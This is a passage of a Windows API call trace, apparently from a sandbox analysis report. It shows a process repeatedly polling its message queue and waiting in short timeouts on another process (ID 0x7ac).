returned 1 [0133.826] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.826] Sleep (dwMilliseconds=0x1) [0133.842] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.842] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.857] CloseHandle (hObject=0xad4) returned 1 [0133.857] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.857] Sleep (dwMilliseconds=0x1) [0133.873] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.873] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.888] CloseHandle (hObject=0xad4) returned 1 [0133.889] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.889] Sleep (dwMilliseconds=0x1) [0133.904] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.904] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.921] CloseHandle (hObject=0xad4) returned 1 [0133.921] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.921] Sleep (dwMilliseconds=0x1) [0133.936] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.936] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.951] CloseHandle (hObject=0xad4) returned 1 [0133.951] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.951] Sleep (dwMilliseconds=0x1) [0133.967] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.967] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0133.983] CloseHandle (hObject=0xad4) returned 1 [0133.983] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0133.983] Sleep (dwMilliseconds=0x1) [0133.999] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0133.999] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0134.013] CloseHandle (hObject=0xad4) returned 1 [0134.013] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.013] Sleep (dwMilliseconds=0x1) [0134.029] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0134.029] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0134.044] CloseHandle (hObject=0xad4) returned 1 [0134.045] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.045] Sleep (dwMilliseconds=0x1) [0134.060] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0134.060] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0134.076] CloseHandle (hObject=0xad4) returned 1 [0134.076] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.076] Sleep (dwMilliseconds=0x1) [0134.092] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0134.092] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0134.107] CloseHandle (hObject=0xad4) returned 1 [0134.107] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.107] Sleep (dwMilliseconds=0x1) [0134.123] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0134.123] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0134.142] CloseHandle (hObject=0xad4) returned 1 [0134.142] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.142] Sleep (dwMilliseconds=0x1) [0134.158] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0134.158] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0134.180] CloseHandle (hObject=0xad4) returned 1 [0134.180] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.180] Sleep (dwMilliseconds=0x1) [0134.194] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0134.194] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0134.200] CloseHandle (hObject=0xad4) returned 1 [0134.201] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.201] Sleep (dwMilliseconds=0x1) [0134.217] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0134.217] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0134.250] CloseHandle (hObject=0xad4) returned 1 [0134.250] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.250] Sleep (dwMilliseconds=0x1) [0134.269] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0134.269] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0134.279] CloseHandle (hObject=0xad4) returned 1 [0134.279] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.279] Sleep (dwMilliseconds=0x1) [0134.303] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.303] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.310] CloseHandle (hObject=0xad0) returned 1 [0134.310] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.310] Sleep (dwMilliseconds=0x1) [0134.333] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.333] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.341] CloseHandle (hObject=0xad0) returned 1 [0134.341] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.341] Sleep (dwMilliseconds=0x1) [0134.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.357] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.372] CloseHandle (hObject=0xad0) returned 1 [0134.372] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.372] Sleep (dwMilliseconds=0x1) [0134.388] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.388] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.406] CloseHandle (hObject=0xad0) returned 1 [0134.406] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.406] Sleep (dwMilliseconds=0x1) [0134.421] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.421] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.434] CloseHandle (hObject=0xad0) returned 1 [0134.435] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.435] Sleep (dwMilliseconds=0x1) [0134.450] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.450] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.466] CloseHandle (hObject=0xad0) returned 1 [0134.466] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.466] Sleep (dwMilliseconds=0x1) [0134.482] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.482] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.497] CloseHandle (hObject=0xad0) returned 1 [0134.497] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.497] Sleep (dwMilliseconds=0x1) [0134.513] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.513] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.531] CloseHandle (hObject=0xad0) returned 1 [0134.531] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.531] Sleep (dwMilliseconds=0x1) [0134.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.544] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.561] CloseHandle (hObject=0xad0) returned 1 [0134.561] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.561] Sleep (dwMilliseconds=0x1) [0134.575] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.575] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.590] CloseHandle (hObject=0xad0) returned 1 [0134.591] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.591] Sleep (dwMilliseconds=0x1) [0134.606] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.606] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.622] CloseHandle (hObject=0xad0) returned 1 [0134.622] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.622] Sleep (dwMilliseconds=0x1) [0134.637] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.638] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.653] CloseHandle (hObject=0xad0) returned 1 [0134.653] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.653] Sleep (dwMilliseconds=0x1) [0134.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.669] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.684] CloseHandle (hObject=0xad0) returned 1 [0134.684] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.684] Sleep (dwMilliseconds=0x1) [0134.700] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.700] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.715] CloseHandle (hObject=0xad0) returned 1 [0134.715] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.715] Sleep (dwMilliseconds=0x1) [0134.734] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.734] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.746] CloseHandle (hObject=0xad0) returned 1 [0134.746] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.747] Sleep (dwMilliseconds=0x1) [0134.762] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.762] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.781] CloseHandle (hObject=0xad0) returned 1 [0134.781] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.781] Sleep (dwMilliseconds=0x1) [0134.794] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.794] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.809] CloseHandle (hObject=0xad0) returned 1 [0134.809] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.809] Sleep (dwMilliseconds=0x1) [0134.825] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.825] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.840] CloseHandle (hObject=0xad0) returned 1 [0134.840] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.840] Sleep (dwMilliseconds=0x1) [0134.856] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.856] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.871] CloseHandle (hObject=0xad0) returned 1 [0134.871] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.871] Sleep (dwMilliseconds=0x1) [0134.887] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.887] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.902] CloseHandle (hObject=0xad0) returned 1 [0134.903] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.903] Sleep (dwMilliseconds=0x1) [0134.918] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.918] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.937] CloseHandle (hObject=0xad0) returned 1 [0134.937] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.937] Sleep (dwMilliseconds=0x1) [0134.951] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.951] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.965] CloseHandle (hObject=0xad0) returned 1 [0134.965] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.965] Sleep (dwMilliseconds=0x1) [0134.982] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0134.982] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0134.996] CloseHandle (hObject=0xad0) returned 1 [0134.996] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0134.996] Sleep (dwMilliseconds=0x1) [0135.012] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.012] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.028] CloseHandle (hObject=0xad0) returned 1 [0135.028] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.028] Sleep (dwMilliseconds=0x1) [0135.043] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.043] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.058] CloseHandle (hObject=0xad0) returned 1 [0135.059] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.059] Sleep (dwMilliseconds=0x1) [0135.075] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.075] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.090] CloseHandle (hObject=0xad0) returned 1 [0135.090] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.090] Sleep (dwMilliseconds=0x1) [0135.105] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.105] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.121] CloseHandle (hObject=0xad0) returned 1 [0135.121] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.121] Sleep (dwMilliseconds=0x1) [0135.137] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.137] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.152] CloseHandle (hObject=0xad0) returned 1 [0135.152] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.152] Sleep (dwMilliseconds=0x1) [0135.168] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.168] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.183] CloseHandle (hObject=0xad0) returned 1 [0135.183] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.183] Sleep (dwMilliseconds=0x1) [0135.205] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.205] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.214] CloseHandle (hObject=0xad0) returned 1 [0135.214] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.214] Sleep (dwMilliseconds=0x1) [0135.230] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.230] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.250] CloseHandle (hObject=0xad0) returned 1 [0135.250] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.250] Sleep (dwMilliseconds=0x1) [0135.262] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.262] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.279] CloseHandle (hObject=0xad0) returned 1 [0135.279] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.279] Sleep (dwMilliseconds=0x1) [0135.293] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.293] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.308] CloseHandle (hObject=0xad0) returned 1 [0135.308] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.308] Sleep (dwMilliseconds=0x1) [0135.324] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.324] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.339] CloseHandle (hObject=0xad0) returned 1 [0135.339] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.339] Sleep (dwMilliseconds=0x1) [0135.355] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0135.355] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0135.371] CloseHandle (hObject=0xad4) returned 1 [0135.371] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.371] Sleep (dwMilliseconds=0x1) [0135.386] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0135.386] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0135.402] CloseHandle (hObject=0xad4) returned 1 [0135.402] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.402] Sleep (dwMilliseconds=0x1) [0135.418] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0135.418] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0135.433] CloseHandle (hObject=0xad4) returned 1 [0135.433] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.433] Sleep (dwMilliseconds=0x1) [0135.449] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0135.449] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0135.465] CloseHandle (hObject=0xad4) returned 1 [0135.465] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.465] Sleep (dwMilliseconds=0x1) [0135.480] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0135.480] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0135.495] CloseHandle (hObject=0xad4) returned 1 [0135.496] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.496] Sleep (dwMilliseconds=0x1) [0135.511] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0135.511] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0135.526] CloseHandle (hObject=0xad4) returned 1 [0135.526] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.526] Sleep (dwMilliseconds=0x1) [0135.542] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0135.542] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0135.558] CloseHandle (hObject=0xad4) returned 1 [0135.558] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.558] Sleep (dwMilliseconds=0x1) [0135.574] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0135.574] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0135.589] CloseHandle (hObject=0xad4) returned 1 [0135.589] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.589] Sleep (dwMilliseconds=0x1) [0135.605] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0135.605] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0135.620] CloseHandle (hObject=0xad4) returned 1 [0135.620] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.620] Sleep (dwMilliseconds=0x1) [0135.636] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0135.636] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0135.652] CloseHandle (hObject=0xad4) returned 1 [0135.652] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.652] Sleep (dwMilliseconds=0x1) [0135.674] OpenProcess 